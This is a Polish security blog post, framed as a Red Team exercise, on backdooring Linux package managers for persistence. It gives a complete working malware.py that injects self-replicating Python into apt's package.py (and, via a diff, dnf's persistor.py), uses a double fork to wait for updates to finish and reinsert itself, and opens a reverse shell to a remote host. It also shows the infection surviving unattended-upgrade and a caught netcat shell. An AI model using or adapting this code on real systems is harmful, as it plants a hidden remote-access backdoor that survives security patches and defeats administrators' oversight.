Utrzymanie stałego dostępu poprzez menedżery pakietów Linuksa
Napisał: Patryk Krawaczyński
13/04/2021 w Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 781, ilość słów: 4825)
W
yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron
lub innej klasycznej lokalizacji (np. rc.local
), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
W obliczu tego problemu można rozważyć backdoor doczepiony do samego menedżera pakietów ( apt / yum ). W ten sposób, po zaktualizowaniu reszty systemu, można go wykorzystać do ponownego dodania swojego ładunku w straconej lokalizacji / pliku binarnego / skryptu, który pozostanie w pamięci. Na początku może to wydawać się trudnym zadaniem, dopóki nie zdamy sobie sprawy, że menedżery pakietów w wielu dystrybucjach Linuksa ( rodzina RedHat / Debian ) są od jakiegoś czasu zbudowane na podstawie skryptów w języku Python. Czy rozsądne jest bawienie się czymś tak ważnym, jak aktualizacje systemu? W przypadku potknięcia się system taki tracąc możliwość aktualizacji może od razu wyskoczyć w jakimś systemie monitorującym jego aktualność lub poprawność przebiegów menedżera konfiguracji serwerów. To prawda – chyba, że wykona się dokładne testy na tym samym systemie operacyjnym. Poza tym, nie nauczymy się robić trudnych rzeczy, dopóki nie wymyślimy, jak je robić i porozmawiać o nich.
Wykonaj się, zanim dokonasz destrukcji:
Pierwsza wersja dla naszej furtki stałego dostępu to pomysł, aby dodać kod do skryptu Pythona, który jest zawsze uruchamiany, gdy menedżer pakietów wykonuje aktualizacje. Problem w tym, że menedżer może aktualizować sam siebie, wówczas kod naszej tylej furtki zostanie uruchomiony tylko raz, gdy rozpocznie się aktualizacja. Zostanie wtedy nadpisany i nigdy więcej nie będzie uruchomiony. Problem ten możemy rozwiązać dodając oddzielny skrypt, który będzie modyfikował skrypt menedżera w celu dodania import
‘u. Oddzielny skrypt mógłby ponownie dodać import
po zakończeniu normalnych aktualizacji. Jedynym problemem związanym z tym pomysłem jest fakt, że jeśli coś pójdzie nie tak z procesem samodzielnej aktualizacji i ponownego dodania importu – nasz oddzielny skrypt zostanie pozostawiony sam sobie i stanie się łatwym celem do wykrycia. Potrzebujemy sposobu na wykonanie kodu, który może ponownie dodać się z powrotem do tej samej lokalizacji; rodzaj odwołującego się do siebie lub samoreplikującego się bloku kodu. Pierwsze narzędzia, które przychodzą na myśl, to wieloliniowe ciągi znaków Pythona i funkcja exec()
:
>>> zly_kod = r''' ... print("Pwn2Own") ... # Reszta kodu. ... ''' >>> exec(zly_kod) Pwn2Own
Wieloliniowe ciągi znaków w Pythonie mogą zawierać nowe wiersze itp. przy użyciu potrójnych cudzysłowów. Jest to wygodne w przypadku umieszczania bloku kodu w ciągu. Funkcja exec()
wykona wtedy łańcuch jako kod. Jednak kod musi odwoływać się do własnej, już zawartej zmiennej, ponieważ musi ponownie dodać ciąg z powrotem do bieżącego skryptu podczas jego wykonywania. Nie wydaje się to logicznie możliwe, ponieważ zmienna “zly_kod
” nie istaniałaby w bloku kodu, który przedstawiamy jako ciąg znaków. Ale jak się okazuje, zmienna “zly_kod
” zawierająca ciąg znaków znajduje się w zakresie dostępności funkcji exec()
, gdy ta wykonuje kod zawarty w ciągu. Jest to idealne rozwiązanie, aby kod mógł odwołać się sam do siebie. Gdy menedżer pakietów zaktualizuje się i usunie nasz dodatkowy kod, powinien on być w stanie dodać się z powrotem do oryginalnego skryptu menedżera:
>>> zly_kod = r''' ... # Początek kodu. ... py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") ... # Reszta kodu. ... ''' >>> exec(zly_kod)
Powyżej mamy nasz blok kodu zamknięty w potrójny cudzysłów, a następnie mamy ciąg znaków zapisywany do pliku py_skrypt
, który duplikuje zawartość zmiennej opakowującej zly_kod
i jej wykonanie exec(zly_kod)
. W celu ponownego wstawienia ciągu znaków zamkniętego w potrójny cudzysłów, musimy wstawić znak ucieczki przed pierwszym potrójnym cudzysłowem, a następnie odwołać się do samej zmiennej zly_kod
tak, jakby znajdowała się gdzieś w kodzie. Następnie możemy zamknąć potrójny cudzysłów również z wiodącym znakiem ucieczki i zdefiniować funkcje lub cokolwiek innego chemy w naszym bloku kodu – tutaj wstawiamy funkcję exec(zly_kod)
. Sprawdźmy, jak to wygląda na rzeczywistym pliku:
agresor@darkstar:~$ touch /tmp/menedzer.py
>>> zly_kod = r''' ... import sys,os ... def replikuj_sie(): ... # Początek kodu ... with open('/tmp/menedzer.py', 'r+') as py_skrypt: ... if 'zly_kod' not in py_skrypt.read(): ... py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") ... return ... replikuj_sie() ... ''' >>> exec(zly_kod)
agresor@darkstar:~$ cat /tmp/menedzer.py zly_kod = r''' import sys,os def replikuj_sie(): # Początek kodu with open('/tmp/menedzer.py', 'r+') as py_skrypt: if 'zly_kod' not in py_skrypt.read(): py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") return replikuj_sie() ''' exec(zly_kod)
Przy ponownym wykonaniu funkcji exec
plik powinien pozostać niezmieniony, ze względu na warunek sprawdzający już istnienie zmiennej zly_kod
w pliku:
>>> exec(zly_kod)
agresor@darkstar:~$ cat /tmp/menedzer.py zly_kod = r''' import sys,os def replikuj_sie(): # Początek kodu with open('/tmp/menedzer.py', 'r+') as py_skrypt: if 'zly_kod' not in py_skrypt.read(): py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") return replikuj_sie() ''' exec(zly_kod)
Czekam na Twój ruch:
Zastosowanie tej techniki do rzeczywistej koncepcji ukrytego wejścia do systemu wymaga trochę więcej przemyśleń. Kiedy menedżer pakietów zostanie uruchomiony, nasz kod dodany do skryptu menedżera zostanie uruchomiony, ale najpierw musi poczekać, aż menedżer pakietów zakończy aktualizację, zanim spróbuje ponownie sam się dodać. Wydaje się to niemożliwe, chyba że stworzymy oddzielny proces i poczekamy, aż pierwotny się zakończy. Moglibyśmy wykonać naszą funkcję “czekaj i dopisz się do pliku” za pomocą subprocess.Popen()
, ale wtedy mamy kolejną warstwę cudzysłowów do umieszczenia wokół wszystkiego, co jest argumentem – a to zaczyna być koszmarne w utrzymaniu. Potrzebujemy także, aby ten drugi proces kontynuował wykonywanie kodu, gdy proces nadrzędny zakończy działanie. Możemy to zrobić za pomocą fork()
i Popen()
, ale istnieje również bardziej bezpośredni sposób. W systemie Linux to, co próbujemy osiągnąć, jest realizowane za pomocą zjawiska, które nazywa się “double fork” oraz wywołaniem setsid()
.
Double forkCzym jest double fork? Otóż jądro Linuksa przypisuje unikalny numer do każdego procesu. Ten unikalny numer nazywany jest identyfikatorem procesu (ang. Process ID w skrócie PID). Każdy proces może mieć wiele procesów podrzędnych (ang. child processes). Wówczas proces taki nazywany jest procesem nadrzędnym (ang. parent process) i jest identyfikowany za pomocą PPID – Parent Process Identifier. W dodatku każdy proces należy do grupy, która z kolei należy do sesji. Hierarchia przedstawia się następująco:
ID Sesji (SID) -> ID Grupy Procesów (PGID) -> ID Procesu (PID)
Na przykład po zalogowaniu się na serwer przez SSH pierwszym procesem jest powłoka bash. Następnie w ramach tej powłoki uruchamiamy różne inne procesy potomne:
agresor@darkstar:~$ tty /dev/pts/1 agresor@darkstar:~$ echo $$ 20939 agresor@darkstar:~$ ps -Ao pid,ppid,pgid,sid,command | grep -E "COMMAND|20939" PID PPID PGID SID COMMAND 20939 20938 20939 20939 -bash 20959 20939 20959 20939 ps -Ao pid,ppid,pgid,sid,command 20960 20939 20959 20939 grep --color=auto -E COMMAND|20939 agresor@stardust:~$
Każdy proces (PID) jest częścią unikalnej grupy procesów (PGID). PGID procesów jest równy PID‘owi pierwszego procesu wchodzącego w skład grupy:
# PROCES NR 1 = 20959 ---------- # PROCES NR 2 = 20960 - # ps -Ao pid,ppid,pgid,sid,command | grep -E "COMMAND|20939" # PGID = PROCES NR 1 (20959) --------------------------- #
Widzimy, że polecenie: ps
oraz grep
posiada PPID równy 20939, co oznacza że ich nadrzędnym procesem jest powłoka bash, a one same wchodzą w skład grupy procesów o ID (PGID): 20959. Jeśli dodamy trzeci proces – sytuacja powinna być analogiczna:
agresor@stardust:~$ ps -Ao pid,ppid,pgid,sid,command | grep -E "COMMAND|20939" | uniq PID PPID PGID SID COMMAND 20939 20938 20939 20939 -bash 21118 20939 21118 20939 ps -Ao pid,ppid,pgid,sid,command 21119 20939 21118 20939 grep --color=auto -E COMMAND|20939 21120 20939 21118 20939 uniq
Pozostaje jeszcze identyfikator sesji (SID) oraz lider sesji. W powyższej sesji powłoka bash jest pierwszym procesem wystartowanym po zalogowaniu. Dlatego identyfikator sesji równa się PID‘owi powłoki bash
(20939). Pierwszy uczestnik sesji oprócz tego, że określa numer SID zostaje jeszcze liderem sesji:
agresor@stardust:~$ ps -Ao pid,ppid,pgid,sid,command | grep -E "COMMAND|20939" | uniq PID PPID PGID SID COMMAND 20939 20938 20939 20939 -bash 21118 20939 21118 20939 ps -Ao pid,ppid,pgid,sid,command 21119 20939 21118 20939 grep --color=auto -E COMMAND|20939 21120 20939 21118 20939 uniq
Podsumowując: pierwszy proces w grupie procesów staje się liderem grupy procesów (i nadaje numer grupie), a pierwszy proces w sesji zostaje liderem sesji (i nadaje numer sesji). Z każdą sesją może być powiązany jeden TTY. Tylko lider sesji może przejąć kontrolę nad urządzeniem TTY. Dlatego, aby proces był naprawdę zdemonizowany (działał w tyle), powinniśmy upewnić się, że lider sesji został zabity, aby sesja nie mogła kiedykolwiek przejąć kontroli nad TTY. I tutaj wchodzi double fork:
- Proces nadrzędny forkuje i tworzy proces podrzędny i wychodzi;
- Proces podrzędny staje się nowym liderem sesji poprzez wywołanie
setsid()
; - Ten sam proces podrzędny ponownie forkuje i wychodzi.
Utworzenie nowej sesji w kroku nr 2 odłącza proces podrzędny od TTY procesu nadrzędnego. Ale teraz proces podrzędny, jako nowy lider sesji może uzyskać dostęp do TTY (przypadkowo lub celowo), co jest niepożądane dla procesów pracujących w trybie demona. Aby temu zapobiec, toworzone jest kolejne rozwidlenie procesu podrzędnego (krok nr 3), który nie jest liderem sesji i dlatego nie może uzyskać dostępu do terminala. W dodatku rozwidlenie się procesu w pierwszym kroku i zakończenie działania procesu nadrzędnego zapobiega tworzeniu się procesów zombie.
W naszym przypadku double fork całkowicie oddziela nowy proces dodający zly_kod
od pierwotnego. Więc nowy proces nie zakończy się wtedy, gdy zakończy się proces pierwotny. Nowy proces będzie również mógł wykonać swoje funkcje bez wpływu na proces inicjalny. W języku Python będzie to miało mniej więcej postać:
try: pid = os.fork() if pid > 0: # Proces nadrzędny może się zakończyć. return except Exception as e: return # Jesteśmy na poziomie pierwszego procesu podrzędnego. try: # Ustawiamy nowy SID i forkujemy jeszcze raz. os.setsid() pid2 = os.fork() if pid2 > 0: # Pierwszy proces podrzędny może się zakończyć. sys.exit(0) # Jesteśmy na poziomie drugiego procesu podrzędnego. # Kod wykonawczy może zostać dodany tutaj. except Exception as e: sys.exit(1)
Na początku rozwidlamy nowy proces, a proces nadrzędny po prostu opuści bieżące wywołanie funkcji. Proces podrzędny znowu podda się rozwidleniu, a nowy dla niego proces nadrzędny po prostu zakończy się z kodem 0. To całkowicie oddzieli ostatni proces od pierwszego i pozwoli nam zrobić to, co pierwotnie chcieliśmy osiągnąć (ponownie dodać zly_kod
). Teraz możemy wprowadzić hamulec bezpieczeństwa pod postacią ustalonej daty po której kod sam się usunie. Wreszcie, aby zrealizować naszą oryginalną koncepcję samoreplikującej się funkcji, musimy dodać kod czekający na zakończenie prawidłowego procesu aktualizacji, a następnie ponownie dodać się do oryginalnego skryptu na dysku. Łącząc te koncepcje otrzymamy, coś takiego:
infekuj_plik = '/tmp/menedzer.py' koniec_swiata = '20/04/2021' def czas_umierac(): dt = datetime.datetime.strptime(koniec_swiata,"%d/%m/%Y") if datetime.datetime.today() >= dt: return True return False def usun_sie(): with open(infekuj_plik, 'r+') as brak_sladow: dane = brak_sladow.read() if 'zly_kod' in dane: r = re.compile("\nzly_kod.+exec\(zly_kod\)\n",re.DOTALL) dane = re.sub(r, "", dane) f.seek(0) f.write(dane) f.truncate() def zapisz_sie(): while True: try: # Grzecznie poczekaj chwile time.sleep(10) i = False # Poszukaj pliku pid lub lock menedżera pakietów for j, k, f in os.walk('/var', followlinks=True): if 'yum.pid' in f: i = True break # Jeśli pliku już nie ma możemy dodać zly_kod if not i: with open(infekuj_plik, 'r+') as py_skrypt: if 'zly_kod' not in py_skrypt.read(): py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") # Tutaj kończymy return except Exception as e: sys.exit(1) def dryfuj_z_pakietami(): # Jeśli osiągamy koniec_swiata czas się usunąć if czas_umierac(): usun_sie() return # Jeśli nie jedziemy dalej try: pid = os.fork() if pid > 0: # Proces nadrzędny może się zakończyć. return except Exception as e: return # Jesteśmy na poziomie pierwszego procesu podrzędnego. try: # Ustawiamy nowy SID i forkujemy jeszcze raz. os.setsid() pid2 = os.fork() if pid2 > 0: # Pierwszy proces podrzędny może się zakończyć. sys.exit(0) # Jesteśmy na poziomie drugiego procesu podrzędnego. # Kod wykonawczy może zostać dodany tutaj. zapisz_sie() except Exception as e: sys.exit(1) dryfuj_z_pakietami()
W naszej nowej wersji separujemy procesy, a następnie nasz nowy proces czeka, aż plik blokady (ang. lock) / PID menedżera pakietów zniknie. Następnie ponownie dodaje się do pierwotnej lokalizacji. Powinno to zapewnić nam możliwość powrotu kodu tam gdzie chcemy, gdy skrypt zostanie nadpisany przez aktualizator. Dla uproszczenia dodajemy tylko nasz blok kodu na końcu skryptu. Zaletą Pythona jest to, że będzie on działał nawet wtedy, gdy zostanie dodany do modułu, który jest zwykle po prostu importowany przez coś innego.
Od koncepcji do dowodu koncepcji:
Kod w obecnej postaci ma jeszcze pewne problemy. Możemy trafić na błąd, ponieważ importujemy nowe biblioteki po oryginalnym imporcie w zmodyfikowanym przez nas skrypcie Pythona. W celu uniknięcia tego możemy wywołać imp.acquire_lock()
, gdy utworzymy nowy wątek. Ponadto, aby upewnić się, że skrypt działa w systemach z różnymi menedżerami pakietów, należy określić poprawną lokalizację pliku blokady / PID. Koniec końców należy uzbroić nasz payload, aby faktycznie coś robił. W celu demonstracji działania kodu dodamy kilka wierszy, które uruchomią reverse shell. Możemy to zrobić w wielu miejscach w kodzie np. w drugim procesie podrzędnym przed jego zakończeniem. Jedynym zastrzeżeniem jest unikanie procesów zombie (wyświetlanych jako wymarłe – defunct na liście procesów) dlatego będziemy ignorować sygnał SIGCHLD w naszym drugim procesie podrzędnym przed utworzeniem powłoki. Zrobienie tego na poziomie pierwszego procesu może zepsuć pewne rzeczy w menedżerze pakietów, jeśli wywoła on waitpid()
w innym miejscu, więc najlepiej jest robić to tylko w naszym, zrodzonym procesie:
def dynamit(): s = socket.socket() s.connect(('darkstar.lan', 443)) h = s.fileno(); d = os.dup2; d(h,0); d(h,1); d(h,2); pty.spawn('/bin/bash') s.close() (...) def dryfuj_z_pakietami(): if czas_umierac(): usun_sie() return try: pid = os.fork() # Ochrona drugiego importu imp.acquire_lock() if pid > 0: return except Exception as e: return try: os.setsid() pid2 = os.fork() if pid2 > 0: # Unikamy procesów zombie signal.signal(signal.SIGCHLD, signal.SIG_IGN) # Uruchom powłokę zwrotną i wyjdź dynamit() sys.exit(0) zapisz_sie() except Exception as e: sys.exit(1) dryfuj_z_pakietami()
Funkcja dynamit()
została dodana tutaj, aby zademonstrować, jak wyglądają procesy podczas działania skryptu. Po utworzeniu gniazda TCP IPv4 i ustanowieniu połączenia na zdalnym adresie darkstar.lan i porcie 443, os.dup2()
wywołuje wywołanie systemowe dup2()
, aby utworzyć zupełnie nowe deskryptory plików, niszcząc oryginalne stare. Te nowe zostaną przekazane do powłoki utworzonej przez instrukcję pty.spawn
, dzięki czemu powłoka interaktywna uzyska FD 0 (STDIN – standardowy strumień wejścia), 1 (STDOUT – standardowy strumień wyjścia), 2 (STDERR – standardowy strumień błędów) z gniazda sieciowego. Stwórzmy finalny skrypt malware.py, którym “zainfekujemy” menedżer plików apt i pozostaniemy w nim nawet po jego aktualizacji:
zly_kod = r''' import warnings,sys,os,signal,socket,pty,time,fcntl,datetime,re warnings.filterwarnings("ignore") import imp infekuj_plik = '/usr/lib/python3/dist-packages/apt/package.py' koniec_swiata = '20/04/2021' def czas_umierac(): dt = datetime.datetime.strptime(koniec_swiata,"%d/%m/%Y") if datetime.datetime.today() >= dt: return True return False def usun_sie(): with open(infekuj_plik, 'r+') as brak_sladow: dane = brak_sladow.read() if 'zly_kod' in dane: r = re.compile("\nzly_kod.+exec\(zly_kod\)\n",re.DOTALL) dane = re.sub(r, "", dane) brak_sladow.seek(0) brak_sladow.write(dane) brak_sladow.truncate() def dynamit(): s = socket.socket() s.connect(('127.0.0.1', 8080)) h = s.fileno() d = os.dup2 d(h,0) d(h,1) d(h,2) pty.spawn('/bin/bash') s.close() def zapisz_sie(): while True: try: time.sleep(10) i = False with open('/var/lib/dpkg/lock', 'w') as blokada: try: fcntl.lockf(blokada, fcntl.LOCK_EX | fcntl.LOCK_NB) i = False except IOError: i = True if not i: with open(infekuj_plik, 'r+') as py_skrypt: if 'zly_kod' not in py_skrypt.read(): py_skrypt.write("\nzly_kod = r\'''" + zly_kod + "\'''\nexec(zly_kod)\n") return except Exception as e: sys.exit(1) def dryfuj_z_pakietami(): if czas_umierac(): usun_sie() return try: pid = os.fork() imp.acquire_lock() if pid > 0: return except Exception as e: return try: os.setsid() pid2 = os.fork() imp.acquire_lock() if pid2 > 0: signal.signal(signal.SIGCHLD, signal.SIG_IGN) dynamit() sys.exit(0) zapisz_sie() except Exception as e: sys.exit(1) dryfuj_z_pakietami() ''' exec(zly_kod)
W celach demonstracyjnych skrypt zostanie uruchomiony na maszynie z zainstalowanym systemem Ubuntu 20.04:
# Sprawdzamy "czystość" apt root@darkstar:~# grep zly_kod /usr/lib/python3/dist-packages/apt/package.py # Infekujemy plik package.py root@darkstar:~# python3 malware.py # Sprawdzamy czy kod jest "brudny" root@darkstar:~# grep zly_kod /usr/lib/python3/dist-packages/apt/package.py zly_kod = r''' if 'zly_kod' in dane: r = re.compile("\nzly_kod.+exec\(zly_kod\)\n",re.DOTALL) if 'zly_kod' not in py_skrypt.read(): ... exec(zly_kod) # Sprawdzamy do jakiego pakietu należy ten plik root@darkstar:~# dpkg -S /usr/lib/python3/dist-packages/apt/package.py python3-apt: /usr/lib/python3/dist-packages/apt/package.py # Sprawdzamy wersję pakietu python3-apt root@darkstar:~# dpkg -l | grep python3-apt ii python3-apt 2.0.0 amd64 Python 3 interface to libapt-pkg # Instalujemy aktualizację bezpieczeństwa root@darkstar:~# unattended-upgrade -v Starting unattended upgrades script Allowed origins are: o=UbuntuESM,a=focal-infra-security Initial blacklist: Initial whitelist (not strict): Packages that will be upgraded: python3-apt Writing dpkg log to /var/log/unattended-upgrades/unattended-upgrades-dpkg.log (Reading database ... 108428 files and directories currently installed.) Preparing to unpack .../python3-apt_2.0.0ubuntu0.20.04.3_amd64.deb ... Unpacking python3-apt (2.0.0ubuntu0.20.04.3) over (2.0.0) ... Setting up python3-apt (2.0.0ubuntu0.20.04.3) ... All upgrades installed # Sprawdzamy wersję pakietu python3-apt root@darkstar:~# dpkg -l | grep python3-apt ii python3-apt 2.0.0ubuntu0.20.04.3 amd64 Python 3 interface to libapt-pkg # Sprawdzamy czy plik package.py pozostał "brudny" root@darkstar:~# grep zly_kod /usr/lib/python3/dist-packages/apt/package.py zly_kod = r''' if 'zly_kod' in dane: r = re.compile("\nzly_kod.+exec\(zly_kod\)\n",re.DOTALL) if 'zly_kod' not in py_skrypt.read(): ... exec(zly_kod)
Oczywiście, jak tylko uruchomiliśmy unattended-upgrade to na drugiej konsoli odpalił się nam dynamit()
:
root@darkstar:~# nc -lvnp 8080 Listening on 0.0.0.0 8080 Connection received on 127.0.0.1 48828 root@darkstar:~# uname -a uname -a Linux darkstar 5.4.0-60-generic #67-Ubuntu SMP x86_64 GNU/Linux root@darkstar:~#
Podsumowanie:
Istnieją pewne ograniczenia jeśli chodzi o menedżer pakietów apt, ponieważ ręczne uruchomienie polecenia: apt upgrade
na nowszym systemie nie uruchamia żadnych skryptów Pythona do wykonania swoich zadań, dopóki aktualizacje nie zostaną zakończone. Oznacza to, że nasz kod nie wykona się, zanim zostanie nadpisany przez aktualizację skryptu nosiciela:
root@darkstar:~# grep zly_kod /usr/lib/python3/dist-packages/apt/package.py zly_kod = r''' if 'zly_kod' in dane: r = re.compile("\nzly_kod.+exec\(zly_kod\)\n",re.DOTALL) if 'zly_kod' not in py_skrypt.read(): ... exec(zly_kod) root@darkstar:~# apt-get install python3-apt Unpacking python3-apt (2.0.0ubuntu0.20.04.4) over (2.0.0) ... Setting up python3-apt (2.0.0ubuntu0.20.04.4) ... root@darkstar:~# grep zly_kod /usr/lib/python3/dist-packages/apt/package.py
Jednakże, pakiet unattended-upgrades
jest najczęściej włączony na dzisiejszych serwerach jako jeden z sposobów automatycznego instalowania krytycznych aktualizacji i używa biliotek Pythona. Inaczej się sprawa przedstawia w dystrybucji z rodziany RedHat (8.3.0):
diff --git a/malware.py b/malware.py index eafb127..90dd3a6 100755 --- a/malware.py +++ b/malware.py @@ -1,9 +1,9 @@ zly_kod = r''' -import warnings,sys,os,signal,socket,pty,time,fcntl,datetime,re +import warnings,sys,os,signal,socket,pty,time,datetime,re warnings.filterwarnings("ignore") import imp -infekuj_plik = '/usr/lib/python3/dist-packages/apt/package.py' +infekuj_plik = '/usr/lib/python3.6/site-packages/dnf/persistor.py' koniec_swiata = '20/04/2021' def czas_umierac(): @@ -38,12 +38,10 @@ def zapisz_sie(): try: time.sleep(10) i = False - with open('/var/lib/dpkg/lock', 'w') as blokada: - try: - fcntl.lockf(blokada, fcntl.LOCK_EX | fcntl.LOCK_NB) - i = False - except IOError: + for p, d, f in os.walk('/var/lib/dnf',followlinks=True): + if 'rpmdb_lock.pid' in f: i = True + break if not i: with open(infekuj_plik, 'r+') as py_skrypt: if 'zly_kod' not in py_skrypt.read():
gdzie wywołanie polecenia: yum update -y
będzie zawsze wywoływać nasz kod. Nic nie stoi też na przeszkodzie, aby dopisać jeszcze z dwa warunki, które umożliwią nam uruchamianie się kodu bez względu na dystrybucję. W dodatku, aby poprawnie działać na dowolnym systemie bez powodowania pojawiania się nowych, dziwnie wyglądających procesów powinniśmy umieścić dynamit()
lub jakikolwiek ładunek, który chcemy odpalić – podczas lub po – kroku przywracania złego kodu.
Jeśli spodobał Ci się wpis, możesz postawić autorowi kawę, której zeszło trochę w nocnych sesjach.
Więcej informacji: What is the reason for performing a double fork when creating a daemon?, Persistence Via Linux Package Managers or Backdooring Python Scripts for Fun and Profit, Compact Python Reverse Shell Revisisted, How do I check to see if an apt lock file is locked?